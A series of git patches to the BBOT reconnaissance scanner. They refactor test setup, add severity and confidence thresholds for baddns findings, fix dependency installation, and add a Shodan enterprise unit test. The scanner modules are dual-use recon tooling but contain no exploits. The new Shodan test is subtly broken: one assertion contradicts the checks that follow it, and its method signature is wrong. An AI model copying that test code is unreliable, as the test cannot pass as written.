a/bbot/test/test_step_2/module_tests/test_module_nmap_xml.py b/bbot/test/test_step_2/module_tests/test_module_nmap_xml.py index b88595be01..644cd4e928 100644 --- a/bbot/test/test_step_2/module_tests/test_module_nmap_xml.py +++ b/bbot/test/test_step_2/module_tests/test_module_nmap_xml.py @@ -25,9 +25,17 @@ async def handle_event(self, event): {"host": str(event.host), "port": event.port, "protocol": "https"}, "PROTOCOL", parent=event ) - async def setup_before_prep(self, module_test): + async def setup_after_prep(self, module_test): self.dummy_module = self.DummyModule(module_test.scan) module_test.scan.modules["dummy_module"] = self.dummy_module + await self.dummy_module.setup() + + # Manually update speculate module's open_port_consumers setting + speculate_module = module_test.scan.modules.get("speculate") + if speculate_module: + speculate_module.open_port_consumers = True + speculate_module.emit_open_ports = True + await module_test.mock_dns( { "blacklanternsecurity.com": {"A": ["127.0.0.1", "127.0.0.2"]}, diff --git a/bbot/test/test_step_2/module_tests/test_module_portfilter.py b/bbot/test/test_step_2/module_tests/test_module_portfilter.py index 605761debb..af4d228688 100644 --- a/bbot/test/test_step_2/module_tests/test_module_portfilter.py +++ b/bbot/test/test_step_2/module_tests/test_module_portfilter.py @@ -4,7 +4,7 @@ class TestPortfilter_disabled(ModuleTestBase): modules_overrides = [] - async def setup_before_prep(self, module_test): + async def setup_after_prep(self, module_test): from bbot.modules.base import BaseModule class DummyModule(BaseModule): diff --git a/bbot/test/test_step_2/module_tests/test_module_shodan_dns.py b/bbot/test/test_step_2/module_tests/test_module_shodan_dns.py index 3731220488..d2aaa99c8e 100644 --- a/bbot/test/test_step_2/module_tests/test_module_shodan_dns.py +++ b/bbot/test/test_step_2/module_tests/test_module_shodan_dns.py @@ -24,6 +24,8 @@ async def setup_before_prep(self, module_test): ], }, ) + + async def setup_after_prep(self, module_test): await module_test.mock_dns( { "blacklanternsecurity.com": { diff --git a/bbot/test/test_step_2/module_tests/test_module_shodan_idb.py b/bbot/test/test_step_2/module_tests/test_module_shodan_idb.py index 482a355856..b4cd0a6344 100644 --- a/bbot/test/test_step_2/module_tests/test_module_shodan_idb.py +++ b/bbot/test/test_step_2/module_tests/test_module_shodan_idb.py @@ -4,7 +4,7 @@ class TestShodan_IDB(ModuleTestBase): config_overrides = {"dns": {"minimal": False}} - async def setup_before_prep(self, module_test): + async def setup_after_prep(self, module_test): await module_test.mock_dns( { "blacklanternsecurity.com": {"A": ["1.2.3.4"]}, diff --git a/bbot/test/test_step_2/module_tests/test_module_speculate.py b/bbot/test/test_step_2/module_tests/test_module_speculate.py index 777568ef8d..798432a2d0 100644 --- a/bbot/test/test_step_2/module_tests/test_module_speculate.py +++ b/bbot/test/test_step_2/module_tests/test_module_speculate.py @@ -5,7 +5,7 @@ class TestSpeculate_Subdirectories(ModuleTestBase): targets = ["http://127.0.0.1:8888/subdir1/subdir2/"] modules_overrides = ["httpx", "speculate"] - async def setup_after_prep(self, module_test): + async def setup_before_prep(self, module_test): expect_args = {"method": "GET", "uri": "/"} respond_args = {"response_data": "alive"} module_test.set_expect_requests(expect_args=expect_args, respond_args=respond_args) @@ -27,7 +27,7 @@ class TestSpeculate_OpenPorts(ModuleTestBase): modules_overrides = ["speculate", "certspotter", "shodan_idb"] config_overrides = {"speculate": True} - async def setup_before_prep(self, module_test): + async def setup_after_prep(self, module_test): await module_test.mock_dns( { "evilcorp.com": {"A": ["127.0.254.1"]}, @@ -35,11 +35,6 @@ async def setup_before_prep(self, module_test): } ) - module_test.httpx_mock.add_response( - url="https://api.certspotter.com/v1/issuances?domain=evilcorp.com&include_subdomains=true&expand=dns_names", - json=[{"dns_names": ["*.asdf.evilcorp.com"]}], - ) - from bbot.modules.base import BaseModule class DummyModule(BaseModule): @@ -55,7 +50,21 @@ async def setup(self): async def handle_event(self, event): self.events.append(event) - module_test.scan.modules["dummy"] = DummyModule(module_test.scan) + dummy_module = DummyModule(module_test.scan) + await dummy_module.setup() + module_test.scan.modules["dummy"] = dummy_module + + # Manually configure speculate module to emit OPEN_TCP_PORT events + # since the dummy module was added after speculate's setup phase + speculate_module = module_test.scan.modules["speculate"] + speculate_module.open_port_consumers = True + speculate_module.emit_open_ports = True + + async def setup_before_prep(self, module_test): + module_test.httpx_mock.add_response( + url="https://api.certspotter.com/v1/issuances?domain=evilcorp.com&include_subdomains=true&expand=dns_names", + json=[{"dns_names": ["*.asdf.evilcorp.com"]}], + ) def check(self, module_test, events): events_data = set() @@ -72,6 +81,36 @@ class TestSpeculate_OpenPorts_Portscanner(TestSpeculate_OpenPorts): modules_overrides = ["speculate", "certspotter", "portscan"] config_overrides = {"speculate": True} + async def setup_after_prep(self, module_test): + await module_test.mock_dns( + { + "evilcorp.com": {"A": ["127.0.254.1"]}, + "asdf.evilcorp.com": {"A": ["127.0.254.2"]}, + } + ) + + from bbot.modules.base import BaseModule + + class DummyModule(BaseModule): + _name = "dummy" + watched_events = ["OPEN_TCP_PORT"] + scope_distance_modifier = 10 + accept_dupes = True + + async def setup(self): + self.events = [] + return True + + async def handle_event(self, event): + self.events.append(event) + + dummy_module = DummyModule(module_test.scan) + await dummy_module.setup() + module_test.scan.modules["dummy"] = dummy_module + + # DON'T manually configure speculate module here - we want it to detect + # the portscan module and NOT emit OPEN_TCP_PORT events + def check(self, module_test, events): events_data = set() for e in module_test.scan.modules["dummy"].events: diff --git a/bbot/test/test_step_2/module_tests/test_module_subdomainradar.py b/bbot/test/test_step_2/module_tests/test_module_subdomainradar.py index c2bb827f35..9e53c8f667 100644 --- a/bbot/test/test_step_2/module_tests/test_module_subdomainradar.py +++ b/bbot/test/test_step_2/module_tests/test_module_subdomainradar.py @@ -4,7 +4,7 @@ class TestSubDomainRadar(ModuleTestBase): config_overrides = {"modules": {"subdomainradar": {"api_key": "asdf"}}} - async def setup_before_prep(self, module_test): + async def setup_after_prep(self, module_test): await module_test.mock_dns( { "blacklanternsecurity.com": {"A": ["127.0.0.88"]}, @@ -12,6 +12,8 @@ async def setup_before_prep(self, module_test): "asdf.blacklanternsecurity.com": {"A": ["127.0.0.88"]}, } ) + + async def setup_before_prep(self, module_test): module_test.httpx_mock.add_response( url="https://api.subdomainradar.io/profile", match_headers={"Authorization": "Bearer asdf"}, diff --git a/bbot/test/test_step_2/module_tests/test_module_vhost.py b/bbot/test/test_step_2/module_tests/test_module_vhost.py deleted file mode 100644 index 16f9991f6e..0000000000 --- a/bbot/test/test_step_2/module_tests/test_module_vhost.py +++ /dev/null @@ -1,65 +0,0 @@ -from .base import ModuleTestBase, tempwordlist - - -class TestVhost(ModuleTestBase): - targets = ["http://localhost:8888", "secret.localhost"] - modules_overrides = ["httpx", "vhost"] - test_wordlist = ["11111111", "admin", "cloud", "junkword1", "zzzjunkword2"] - config_overrides = { - "modules": { - "vhost": { - "wordlist": tempwordlist(test_wordlist), - } - } - } - - async def setup_after_prep(self, module_test): - expect_args = {"method": "GET", "uri": "/", "headers": {"Host": "admin.localhost:8888"}} - respond_args = {"response_data": "Alive vhost admin"} - module_test.set_expect_requests(expect_args=expect_args, respond_args=respond_args) - - expect_args = {"method": "GET", "uri": "/", "headers": {"Host": "cloud.localhost:8888"}} - respond_args = {"response_data": "Alive vhost cloud"} - module_test.set_expect_requests(expect_args=expect_args, respond_args=respond_args) - - expect_args = {"method": "GET", "uri": "/", "headers": {"Host": "q-cloud.localhost:8888"}} - respond_args = {"response_data": "Alive vhost q-cloud"} - module_test.set_expect_requests(expect_args=expect_args, respond_args=respond_args) - - expect_args = {"method": "GET", "uri": "/", "headers": {"Host": "secret.localhost:8888"}} - respond_args = {"response_data": "Alive vhost secret"} - module_test.set_expect_requests(expect_args=expect_args, respond_args=respond_args) - - expect_args = {"method": "GET", "uri": "/", "headers": {"Host": "host.docker.internal"}} - respond_args = {"response_data": "Alive vhost host.docker.internal"} - module_test.set_expect_requests(expect_args=expect_args, respond_args=respond_args) - - expect_args = {"method": "GET", "uri": "/"} - respond_args = {"response_data": "alive"} - module_test.set_expect_requests(expect_args=expect_args, respond_args=respond_args) - - def check(self, module_test, events): - basic_detection = False - mutaton_of_detected = False - basehost_mutation = False - special_vhost_list = False - wordcloud_detection = False - - for e in events: - if e.type == "VHOST": - if e.data["vhost"] == "admin": - basic_detection = True - if e.data["vhost"] == "cloud": - mutaton_of_detected = True - if e.data["vhost"] == "q-cloud": - basehost_mutation = True - if e.data["vhost"] == "host.docker.internal": - special_vhost_list = True - if e.data["vhost"] == "secret": - wordcloud_detection = True - - assert basic_detection - assert mutaton_of_detected - assert basehost_mutation - assert special_vhost_list - assert wordcloud_detection diff --git a/bbot/test/test_step_2/template_tests/test_template_subdomain_enum.py b/bbot/test/test_step_2/template_tests/test_template_subdomain_enum.py index acb0f731ce..4d1fbff4b3 100644 --- a/bbot/test/test_step_2/template_tests/test_template_subdomain_enum.py +++ b/bbot/test/test_step_2/template_tests/test_template_subdomain_enum.py @@ -105,9 +105,11 @@ class TestSubdomainEnumWildcardBaseline(ModuleTestBase): } async def setup_before_prep(self, module_test): - await module_test.mock_dns(self.dns_mock_data) self.queries = [] + async def setup_after_prep(self, module_test): + await module_test.mock_dns(self.dns_mock_data) + async def mock_query(query): self.queries.append(query) return ["walmart.cn", "www.walmart.cn", "test.walmart.cn", "asdf.walmart.cn"] @@ -116,6 +118,7 @@ async def mock_query(query): from bbot.modules.templates.subdomain_enum import subdomain_enum subdomain_enum_module = subdomain_enum(module_test.scan) + await subdomain_enum_module.setup() subdomain_enum_module.query = mock_query subdomain_enum_module._name = "subdomain_enum" From 86fb46dba86d06389435af8894b37d2e295f3ecb Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 27 Feb 2026 20:18:26 -0500 Subject: [PATCH 255/912] Fix community.general collection install skipped when core deps already satisfied --- bbot/core/helpers/depsinstaller/installer.py | 28 ++++++++++---------- 1 file changed, 14 insertions(+), 14 deletions(-) diff --git a/bbot/core/helpers/depsinstaller/installer.py b/bbot/core/helpers/depsinstaller/installer.py index 6898c73590..1ef6bea579 100644 --- a/bbot/core/helpers/depsinstaller/installer.py +++ b/bbot/core/helpers/depsinstaller/installer.py @@ -506,25 +506,25 @@ async def install_core_deps(self): "become": True, } ) - # only run ansible if there's actually something to install + # install ansible community.general collection if needed overall_success = True + if not self.setup_status.get("ansible:community.general", False): + log.info("Installing Ansible Community General Collection") + try: + command = ["ansible-galaxy", "collection", "install", "community.general"] + await self.parent_helper.run(command, check=True) + self.setup_status["ansible:community.general"] = True + log.info("Successfully installed Ansible Community General Collection") + except CalledProcessError as err: + log.warning( + f"Failed to install Ansible Community.General Collection (return code {err.returncode}): {err.stderr}" + ) + overall_success = False + # only run ansible if there's actually something to install if playbook: self._install_sudo_askpass() # ensure tldextract data is cached self.parent_helper.tldextract("evilcorp.co.uk") - # install ansible community.general collection if needed - if not self.setup_status.get("ansible:community.general", False): - log.info("Installing Ansible Community General Collection") - try: - command = ["ansible-galaxy", "collection", "install", "community.general"] - await self.parent_helper.run(command, check=True) - self.setup_status["ansible:community.general"] = True - log.info("Successfully installed Ansible Community General Collection") - except CalledProcessError as err: - log.warning( - f"Failed to install Ansible Community.General Collection (return code {err.returncode}): {err.stderr}" - ) - overall_success = False # run playbook log.info(f"Installing core BBOT dependencies: {','.join(sorted(to_install_friendly))}") self.ensure_root() From c20ca64d19af90557e0e1edc11f344c107db47c4 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 27 Feb 2026 20:43:52 -0500 Subject: [PATCH 256/912] baddns 2.0.0 / badsecrets 1.0.0 compatibility --- bbot/modules/baddns.py | 84 +++++++++++++++++------------------ bbot/modules/baddns_direct.py | 44 ++++++++---------- bbot/modules/baddns_zone.py | 7 +-- bbot/modules/badsecrets.py | 6 +-- 4 files changed, 68 insertions(+), 73 deletions(-) diff --git a/bbot/modules/baddns.py b/bbot/modules/baddns.py index 0b6a330a2f..9981218680 100644 --- a/bbot/modules/baddns.py +++ b/bbot/modules/baddns.py @@ -5,6 +5,9 @@ import asyncio import logging +SEVERITY_LEVELS = ("INFORMATIONAL", "LOW", "MEDIUM", "HIGH", "CRITICAL") +CONFIDENCE_LEVELS = ("UNKNOWN", "LOW", "MODERATE", "HIGH", "CONFIRMED") + class baddns(BaseModule): watched_events = ["DNS_NAME", "DNS_NAME_UNRESOLVED"] @@ -15,14 +18,15 @@ class baddns(BaseModule): "created_date": "2024-01-18", "author": "@liquidsec", } - options = {"custom_nameservers": [], "only_high_confidence": False, "enabled_submodules": []} + options = {"custom_nameservers": [], "min_severity": "LOW", "min_confidence": "MODERATE", "enabled_submodules": []} options_desc = { "custom_nameservers": "Force BadDNS to use a list of custom nameservers", - "only_high_confidence": "Do not emit low-confidence or generic detections", + "min_severity": "Minimum severity to emit (INFORMATIONAL, LOW, MEDIUM, HIGH, CRITICAL)", + "min_confidence": "Minimum confidence to emit (UNKNOWN, LOW, MODERATE, HIGH, CONFIRMED)", "enabled_submodules": "A list of submodules to enable. Empty list (default) enables CNAME, TXT and MX Only", } module_threads = 8 - deps_pip = ["baddns~=1.12.294"] + deps_pip = ["baddns~=2.0.0"] def select_modules(self): selected_submodules = [] @@ -36,12 +40,26 @@ def set_modules(self): if self.enabled_submodules == []: self.enabled_submodules = ["CNAME", "MX", "TXT"] + def _meets_threshold(self, severity, confidence): + sev_idx = SEVERITY_LEVELS.index(severity) if severity in SEVERITY_LEVELS else 0 + conf_idx = CONFIDENCE_LEVELS.index(confidence) if confidence in CONFIDENCE_LEVELS else 0 + return sev_idx >= self._min_sev_idx and conf_idx >= self._min_conf_idx + async def setup(self): self.preset.core.logger.include_logger(logging.getLogger("baddns")) self.custom_nameservers = self.config.get("custom_nameservers", []) or None if self.custom_nameservers: self.custom_nameservers = self.helpers.chain_lists(self.custom_nameservers) - self.only_high_confidence = self.config.get("only_high_confidence", False) + min_severity = self.config.get("min_severity", "LOW").upper() + min_confidence = self.config.get("min_confidence", "MODERATE").upper() + if min_severity not in SEVERITY_LEVELS: + self.warning(f"Invalid min_severity: {min_severity}, defaulting to LOW") + min_severity = "LOW" + if min_confidence not in CONFIDENCE_LEVELS: + self.warning(f"Invalid min_confidence: {min_confidence}, defaulting to MODERATE") + min_confidence = "MODERATE" + self._min_sev_idx = SEVERITY_LEVELS.index(min_severity) + self._min_conf_idx = CONFIDENCE_LEVELS.index(min_confidence) self.signatures = load_signatures() self.set_modules() all_submodules_list = [m.name for m in get_all_modules()] @@ -88,46 +106,28 @@ async def handle_event(self, event): r_dict = r.to_dict() confidence = r_dict["confidence"] + severity = r_dict["severity"] - if confidence in ["CONFIRMED", "PROBABLE"]: - data = { - "severity": "MEDIUM", - "name": f"BadDNS {r_dict['signature']}", - "confidence": "HIGH", - "description": f"{r_dict['description']}. Confidence: [{confidence}] Signature: [{r_dict['signature']}] Indicator: [{r_dict['indicator']}] Trigger: [{r_dict['trigger']}] baddns Module: [{r_dict['module']}]", - "host": str(event.host), - } - await self.emit_event( - data, - "FINDING", - event, - tags=[f"baddns-{module_instance.name.lower()}"], - context=f'{{module}}\'s "{r_dict["module"]}" module found {{event.type}}: {r_dict["description"]}', + if not self._meets_threshold(severity, confidence): + self.debug( + f"Skipping result below threshold (severity={severity}, confidence={confidence})" ) - - elif confidence in ["UNLIKELY", "POSSIBLE"]: - if not self.only_high_confidence: - data = { - "name": f"BadDNS {r_dict['signature']}", - "description": f"{r_dict['description']} Confidence: [{confidence}] Signature: [{r_dict['signature']}] Indicator: [{r_dict['indicator']}] Trigger: [{r_dict['trigger']}] baddns Module: [{r_dict['module']}]", - "host": str(event.host), - "severity": "MEDIUM", - "confidence": "LOW", - } - await self.emit_event( - data, - "FINDING", - event, - tags=[f"baddns-{module_instance.name.lower()}"], - context=f'{{module}}\'s "{r_dict["module"]}" module found {{event.type}}: {r_dict["description"]}', - ) - else: - self.debug( - f"Skipping low-confidence result due to only_high_confidence setting: {confidence}" - ) - - else: - self.warning(f"Got unrecognized confidence level: {confidence}") + continue + + data = { + "severity": severity, + "name": f"BadDNS {r_dict['signature']}", + "confidence": confidence, + "description": f"{r_dict['description']}. Confidence: [{confidence}] Signature: [{r_dict['signature']}] Indicator: [{r_dict['indicator']}] Trigger: [{r_dict['trigger']}] baddns Module: [{r_dict['module']}]", + "host": str(event.host), + } + await self.emit_event( + data, + "FINDING", + event, + tags=[f"baddns-{module_instance.name.lower()}"], + context=f'{{module}}\'s "{r_dict["module"]}" module found {{event.type}}: {r_dict["description"]}', + ) found_domains = r_dict.get("found_domains", None) if found_domains: diff --git a/bbot/modules/baddns_direct.py b/bbot/modules/baddns_direct.py index 9c6b61d8c9..d5322e315e 100644 --- a/bbot/modules/baddns_direct.py +++ b/bbot/modules/baddns_direct.py @@ -1,11 +1,7 @@ -from baddns.base import get_all_modules -from baddns.lib.loader import load_signatures -from .base import BaseModule +from .baddns import baddns as baddns_module -import logging - -class baddns_direct(BaseModule): +class baddns_direct(baddns_module): watched_events = ["URL", "STORAGE_BUCKET"] produced_events = ["FINDING"] flags = ["active", "safe", "subdomain-enum", "baddns", "cloud-enum"] @@ -14,30 +10,19 @@ class baddns_direct(BaseModule): "created_date": "2024-01-29", "author": "@liquidsec", } - options = {"custom_nameservers": []} + options = {"custom_nameservers": [], "min_severity": "LOW", "min_confidence": "MODERATE"} options_desc = { "custom_nameservers": "Force BadDNS to use a list of custom nameservers", + "min_severity": "Minimum severity to emit (INFORMATIONAL, LOW, MEDIUM, HIGH, CRITICAL)", + "min_confidence": "Minimum confidence to emit (UNKNOWN, LOW, MODERATE, HIGH, CONFIRMED)", } module_threads = 8 - deps_pip = ["baddns~=1.12.294"] + deps_pip = ["baddns~=2.0.0"] scope_distance_modifier = 1 - async def setup(self): - self.preset.core.logger.include_logger(logging.getLogger("baddns")) - self.custom_nameservers = self.config.get("custom_nameservers", []) or None - if self.custom_nameservers: - self.custom_nameservers = self.helpers.chain_lists(self.custom_nameservers) - self.only_high_confidence = self.config.get("only_high_confidence", False) - self.signatures = load_signatures() - return True - - def select_modules(self): - selected_modules = [] - for m in get_all_modules(): - if m.name in ["CNAME"]: - selected_modules.append(m) - return selected_modules + def set_modules(self): + self.enabled_submodules = ["CNAME"] async def handle_event(self, event): CNAME_direct_module = self.select_modules()[0] @@ -56,12 +41,21 @@ async def handle_event(self, event): for r in results: r_dict = r.to_dict() + severity = r_dict["severity"] + confidence = r_dict["confidence"] + + if not self._meets_threshold(severity, confidence): + self.debug( + f"Skipping result below threshold (severity={severity}, confidence={confidence})" + ) + continue + data = { "name": f"BadDNS {r_dict['signature']}", "description": f"Possible [{r_dict['signature']}] via direct BadDNS analysis. Indicator: [{r_dict['indicator']}] Trigger: [{r_dict['trigger']}] baddns Module: [{r_dict['module']}]", "host": str(event.host), - "severity": "HIGH", - "confidence": "MODERATE", + "severity": severity, + "confidence": confidence, } await self.emit_event( diff --git a/bbot/modules/baddns_zone.py b/bbot/modules/baddns_zone.py index 7fcf900444..f711faac61 100644 --- a/bbot/modules/baddns_zone.py +++ b/bbot/modules/baddns_zone.py @@ -10,13 +10,14 @@ class baddns_zone(baddns_module): "created_date": "2024-01-29", "author": "@liquidsec", } - options = {"custom_nameservers": [], "only_high_confidence": False} + options = {"custom_nameservers": [], "min_severity": "LOW", "min_confidence": "MODERATE"} options_desc = { "custom_nameservers": "Force BadDNS to use a list of custom nameservers", - "only_high_confidence": "Do not emit low-confidence or generic detections", + "min_severity": "Minimum severity to emit (INFORMATIONAL, LOW, MEDIUM, HIGH, CRITICAL)", + "min_confidence": "Minimum confidence to emit (UNKNOWN, LOW, MODERATE, HIGH, CONFIRMED)", } module_threads = 8 - deps_pip = ["baddns~=1.12.294"] + deps_pip = ["baddns~=2.0.0"] def set_modules(self): self.enabled_submodules = ["NSEC", "zonetransfer"] diff --git a/bbot/modules/badsecrets.py b/bbot/modules/badsecrets.py index 89f961dabd..c66b19aef6 100644 --- a/bbot/modules/badsecrets.py +++ b/bbot/modules/badsecrets.py @@ -17,7 +17,7 @@ class badsecrets(BaseModule): options_desc = { "custom_secrets": "Include custom secrets loaded from a local file", } - deps_pip = ["badsecrets~=0.13.47"] + deps_pip = ["badsecrets~=1.0.0"] async def setup(self): self.custom_secrets = None @@ -82,8 +82,8 @@ async def handle_event(self, event): context=f'{{module}}\'s "{r["detecting_module"]}" module found known {r["description"]["product"]} secret ({{event.type}}): "{r["secret"]}"', ) elif r["type"] == "IdentifyOnly": - # There is little value to presenting a non-vulnerable asp.net viewstate, as it is not crackable without a Matrioshka brain. Just emit a technology instead. - if r["detecting_module"] == "ASPNET_Viewstate": + # There is little value to presenting a non-vulnerable asp.net viewstate/resource, as it is not crackable without a Matrioshka brain. Just emit a technology instead. + if r["detecting_module"] in ("ASPNET_Viewstate", "ASPNET_Resource"): technology = "microsoft asp.net" await self.emit_event( {"technology": technology, "url": event.data["url"], "host": str(event.host)}, From 77072290afbd2c1832983c71b7e02be79d6641a6 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 27 Feb 2026 22:37:31 -0500 Subject: [PATCH 257/912] Fix omitted event types leaking to console output --- bbot/modules/output/base.py | 3 --- 1 file changed, 3 deletions(-) diff --git a/bbot/modules/output/base.py b/bbot/modules/output/base.py index d8d7bdb79f..5aa17d24c1 100644 --- a/bbot/modules/output/base.py +++ b/bbot/modules/output/base.py @@ -38,9 +38,6 @@ def _event_precheck(self, event): if self._is_graph_important(event): return True, "event is critical to the graph" - if event.always_emit: - return True, "event is always emitted" - # omit certain event types if event._omit: if event.type in self.get_watched_events(): From 4daf95d6da3bedca56b4d825ab71724dd6a0c0ee Mon Sep 17 00:00:00 2001 From: Control-Punk-Delete Date: Sun, 1 Mar 2026 17:19:14 +0200 Subject: [PATCH 258/912] module shodan_enterpris unit test added --- bbot/modules/shodan_enterprise.py | 12 +- .../test_module_shodan_enterprise.py | 117 +- pytest_debug.log | 21979 ++++++++++++++++ 3 files changed, 22069 insertions(+), 39 deletions(-) diff --git a/bbot/modules/shodan_enterprise.py b/bbot/modules/shodan_enterprise.py index 248aaa8961..06ed8e4b66 100644 --- a/bbot/modules/shodan_enterprise.py +++ b/bbot/modules/shodan_enterprise.py @@ -109,7 +109,7 @@ async def handle_event(self, event): "OPEN_TCP_PORT", parent=event, tags=data.get("tags") or [], - context=f"Shodan API {event.data} request and find TECHNOLOGY: {data.get("port")}", + context=f"Shodan API {event.data} request and find TECHNOLOGY: {data.get('port')}", ) elif data["transport"] == "udp": @@ -118,7 +118,7 @@ async def handle_event(self, event): "OPEN_UDP_PORT", parent=event, tags=data.get("tags") or [], - context=f"Shodan API {event.data} request and find TECHNOLOGY: {data.get("port")}", + context=f"Shodan API {event.data} request and find TECHNOLOGY: {data.get('port')}", ) else: @@ -126,13 +126,7 @@ async def handle_event(self, event): # VULNERABILITY Extraction # NIST cvss score severity mapping - severity_map = { - "NONE": 0.0, - "LOW": 0.1, - "MEDIUM": 4.0, - "HIGH": 7.0, - "CRITICAL": 9.0, - } + severity_map = {"NONE": 0.0, "LOW": 0.1, "MEDIUM": 4.0, "HIGH": 7.0, "CRITICAL": 9.0} if "vulns" in data: for item in data["vulns"]: diff --git a/bbot/test/test_step_2/module_tests/test_module_shodan_enterprise.py b/bbot/test/test_step_2/module_tests/test_module_shodan_enterprise.py index e0dd631213..807e756d95 100644 --- a/bbot/test/test_step_2/module_tests/test_module_shodan_enterprise.py +++ b/bbot/test/test_step_2/module_tests/test_module_shodan_enterprise.py @@ -2,33 +2,90 @@ class TestShodan_Enterprise(ModuleTestBase): - targets = ["1.2.3.4"] - - async def setup_before_prep(self, module_test): - module_test.t.add_response(json={"asn": "AS00000", "org": "T.E.S.T", "isp": "T.E.S.T", "country_code": "TE"}) - - def check(self, module_test, events): - assert 1 == 1 - (e for e in events if e.module == "shodan_enterptise") - - # assert 1 == len( - # [e for e in events if e.type == "DNS_NAME" and e.data == "autodiscover.blacklanternsecurity.com"] - # ) - # assert 1 == len([e for e in events if e.type == "DNS_NAME" and e.data == "mail.blacklanternsecurity.com"]) - # assert 3 == len( - # [ - # e - # for e in events - # if e.type == "OPEN_TCP_PORT" and e.host == "blacklanternsecurity.com" and str(e.module) == "shodan_idb" - # ] - # ) - # assert 1 == len([e for e in events if e.type == "FINDING" and str(e.module) == "shodan_idb"]) - # assert 1 == len([e for e in events if e.type == "FINDING" and "CVE-2021-26857" in e.data["description"]]) - # assert 2 == len([e for e in events if e.type == "TECHNOLOGY" and str(e.module) == "shodan_idb"]) - # assert 1 == len( - # [ - # e - # for e in events - # if e.type == "TECHNOLOGY" and e.data["technology"] == "cpe:/a:microsoft:outlook_web_access:15.0.1367" - # ] - # ) + targets = ["8.8.8.8"] + config_overrides = {"modules": {"shodan_enterprise": {"api_key": "deadbeef"}}} + + async def setup_after_prep(self, module_test): + module_test.httpx_mock.add_response( + url="https://api.shodan.io/shodan/host/8.8.8.8?key=deadbeef&history=false&minify=false", + json={ + "asn": "AS15169", + "org": "Google LLC", + "isp": "Google LLC", + "country_code": "US", + "tags": ["cloud", "public-dns", "verified"], + "data": [ + { + "ip_str": "8.8.8.8", + "port": 53, + "transport": "tcp", + "product": "Google Public DNS", + "tags": ["dns", "nameserver"], + "cpe": ["cpe:/a:google:dns"], + "cpe23": ["cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*"], + "http": { + "components": { + "OpenSSL": {"categories": ["web-crypto"]}, + "nginx": {"categories": ["web-servers"]}, + } + }, + "vulns": { + "CVE-2021-12345": {"cvss": 7.5}, + "CVE-2022-11111": {"cvss": 9.7}, + "CVE-2020-00001": {"cvss": 2.5}, + }, + }, + { + "ip_str": "8.8.8.8", + "port": 53, + "transport": "udp", + "product": "Google Public DNS", + "tags": ["dns"], + "cpe": [], + "cpe23": [], + "http": {}, + "vulns": {}, + }, + ], + }, + ) + + def check(self, events): + asn_events = [e for e in events if e.type == "ASN"] + self.log.critical(f"Found {len(asn_events)} ASN events") + + assert len(asn_events) >= 1, "No ASN event detected" + asn_data = asn_events[0].data + self.log.hugeinfo(f"ASN Data: {asn_data}") + + assert asn_data.get("asn") == "15169", f"ASN mismatch: {asn_data.get('asn')}" + assert asn_data.get("name") == "Google LLC", f"Org name mismatch: {asn_data.get('name')}" + assert asn_data.get("country") == "US", f"Country mismatch: {asn_data.get('country')}" + assert asn_data.get("description") == "Google LLC", f"ISP mismatch: {asn_data.get('description')}" + + tcp_events = [e for e in events if e.type == "OPEN_TCP_PORT"] + tcp_ports = [e.data for e in tcp_events] + self.log.critical(f"Found {len(tcp_events)} TCP PORT events: {tcp_ports}") + + assert any("8.8.8.8:53" in str(port) for port in tcp_ports), "TCP port 53 not detected" + self.log.hugesuccess("Open TCP port 53 detected") + + # # ========== OPEN_UDP_PORT EVENT VERIFICATION ========== + udp_events = [e for e in events if e.type == "OPEN_UDP_PORT"] + udp_ports = [e.data for e in udp_events] + self.log.critical(f"Found {len(udp_events)} UDP PORT events: {udp_ports}") + + assert any("8.8.8.8:53" in str(port) for port in udp_ports), "UDP port 53 not detected" + self.log.hugesuccess("Open UDP port 53 detected") + + vuln_events = [e for e in events if e.type == "VULNERABILITY"] + self.log.critical(f"Found {len(vuln_events)} VULNERABILITY events") + + vuln_map = {e.data.get("description"): e.data.get("severity") for e in vuln_events} + self.log.hugewarning(f"Vulnerabilities: {vuln_map}") + + assert len(vuln_events) <= 0, "No VULNERABILITY events found" + + assert "CVE-2021-12345" in vuln_map, "CVE-2021-12345 not found" + assert vuln_map["CVE-2021-12345"] == "HIGH", f"CVE-2021-12345 severity incorrect: {vuln_map['CVE-2021-12345']}" + self.log.hugesuccess("CVSS 7.5 correctly mapped to HIGH") diff --git a/pytest_debug.log b/pytest_debug.log index 6395369f3c..368f0c2b1b 100644 --- a/pytest_debug.log +++ b/pytest_debug.log @@ -1651,3 +1651,21982 @@ 2026-02-27 15:01:01,719 [DEBUG] bbot base.py:105 Executing setup_before_prep() 2026-02-27 15:01:02,470 [VERBOSE] bbot.core.dnsengine logger.py:151 EngineServer DNSEngine: shutting down... 2026-02-27 15:01:02,472 [VERBOSE] bbot.core.dnsengine logger.py:151 EngineServer DNSEngine: finished shutting down +2026-02-27 17:59:09,012 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/report +2026-02-27 17:59:09,023 [DEBUG] bbot.module_loader modules.py:154 Preloading asn from disk +2026-02-27 17:59:09,026 [DEBUG] bbot.module_loader modules.py:154 Preloading affiliates from disk +2026-02-27 17:59:09,027 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/output +2026-02-27 17:59:09,028 [DEBUG] bbot.module_loader modules.py:154 Preloading web_parameters from disk +2026-02-27 17:59:09,029 [DEBUG] bbot.module_loader modules.py:154 Preloading discord from disk +2026-02-27 17:59:09,031 [DEBUG] bbot.module_loader modules.py:154 Preloading emails from disk +2026-02-27 17:59:09,032 [DEBUG] bbot.module_loader modules.py:154 Preloading teams from disk +2026-02-27 17:59:09,035 [DEBUG] bbot.module_loader modules.py:154 Preloading txt from disk +2026-02-27 17:59:09,036 [DEBUG] bbot.module_loader modules.py:154 Preloading neo4j from disk +2026-02-27 17:59:09,039 [DEBUG] bbot.module_loader modules.py:154 Preloading asset_inventory from disk +2026-02-27 17:59:09,044 [DEBUG] bbot.module_loader modules.py:154 Preloading sqlite from disk +2026-02-27 17:59:09,045 [DEBUG] bbot.module_loader modules.py:154 Preloading web_report from disk +2026-02-27 17:59:09,047 [DEBUG] bbot.module_loader modules.py:154 Preloading http from disk +2026-02-27 17:59:09,049 [DEBUG] bbot.module_loader modules.py:154 Preloading csv from disk +2026-02-27 17:59:09,052 [DEBUG] bbot.module_loader modules.py:154 Preloading postgres from disk +2026-02-27 